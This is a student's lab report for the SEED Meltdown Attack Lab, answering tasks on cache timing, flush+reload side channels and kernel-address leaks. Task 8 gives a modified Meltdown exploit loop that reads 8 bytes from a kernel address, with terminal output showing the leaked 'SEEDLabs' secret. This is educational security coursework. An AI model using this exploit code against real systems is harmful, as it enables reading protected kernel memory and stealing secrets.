

Meltdown Attack Lab

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Task 1

To compile `CacheTime.c` successfully, you should add 2 lines first to resolve the type alias:

```
1 #include <stdio.h>
2 #include <stdint.h>
```

Yes. Obviously, the accesses of `array[3*4096]` and `array[7*4096]` are extremely faster than that of the other elements, even though the access times of each element seems to be randomly various among 10 attempts.

Task 2

Somehow it always finds the correct secret. So I modify the `CACHE_HIT_THRESHOLD` from 80 to 60, It begins to fail to find the secret with nothing output for a few times.

Task 3

```
1 [ 901.703115] secret data address:f881c000
```

Task 4

No. I cannot access the kernel memory from user space. After executing the test program, the error message of *Segmentation fault* appears.

Task 5

It handles the exception and prints

```
1 Memory access violation!
2 Program continues to execute.
```

Task 6

Yes, I get the outputs

```
1 Memory access violation!
2 array[7*4096 + 1024] is in cache.
3 The Secret = 7.
```

Task 7

Taks 7.1

It shows

```
1 Memory access violation!
```

No useful information output.

Task 7.2

Add the code in a place between `flushSideChannel()` and `sigsetjmp()`. Anyway, It doesn't work as well.

Task 7.3

Somehow, it still fails to steal the actual secret value. Even though I tried many times and modified the loop number.

Task 8

Yes, it prints the first letter of the secret message.

To get the entire 8-byte secret message. I modified the code: nest the code in the main function into such a loop:

```
1 for (int k = 0; k < 8; k++)
2 {
3
4     memset(scores, 0, sizeof(scores));
5
6     flushSideChannel();
7
8     // Retry 1000 times on the same address.
9
10    for (i = 0; i < 1000; i++)
11    {
12
13        ret = pread(fd, NULL, 0, 0);
```

```

14
15     if (ret < 0)
16     {
17
18         perror("pread");
19
20         break;
21     }
22
23     // Flush the probing array
24
25     for (j = 0; j < 256; j++)
26
27         _mm_clflush(&array[j * 4096 + DELTA]);
28
29     if (sigsetjmp(jbuf, 1) == 0)
30     {
31         meltdown_asm(0xf881c000 + k);
32     }
33
34     reloadSideChannelImproved();
35 }
36
37 // Find the index with the highest score.
38
39 int max = 0;
40
41 for (i = 0; i < 256; i++)
42 {
43
44     if (scores[max] < scores[i])
45         max = i;
46 }
47
48 printf("The secret value is %d %c\n", max, max);
49
50 printf("The number of hits is %d\n", scores[max]);
51 }

```

And finally, I successfully stole the secret message:

```
Terminal Terminal File Edit View Search Terminal Help
[03/02/20]seed@VM:~/.../meltdown$ MeltdownAttack
The secret value is 69 E
The number of hits is 965
[03/02/20]seed@VM:~/.../meltdown$ gcc -march=native -o MeltdownAttack MeltdownAttack.c
[03/02/20]seed@VM:~/.../meltdown$ MeltdownAttack
The secret value is 83 S
The number of hits is 975
The secret value is 69 E
The number of hits is 985
The secret value is 69 E
The number of hits is 980
The secret value is 68 D
The number of hits is 977
The secret value is 76 L
The number of hits is 980
The secret value is 97 a
The number of hits is 982
The secret value is 98 b
The number of hits is 987
The secret value is 115 s
The number of hits is 978
[03/02/20]seed@VM:~/.../meltdown$
```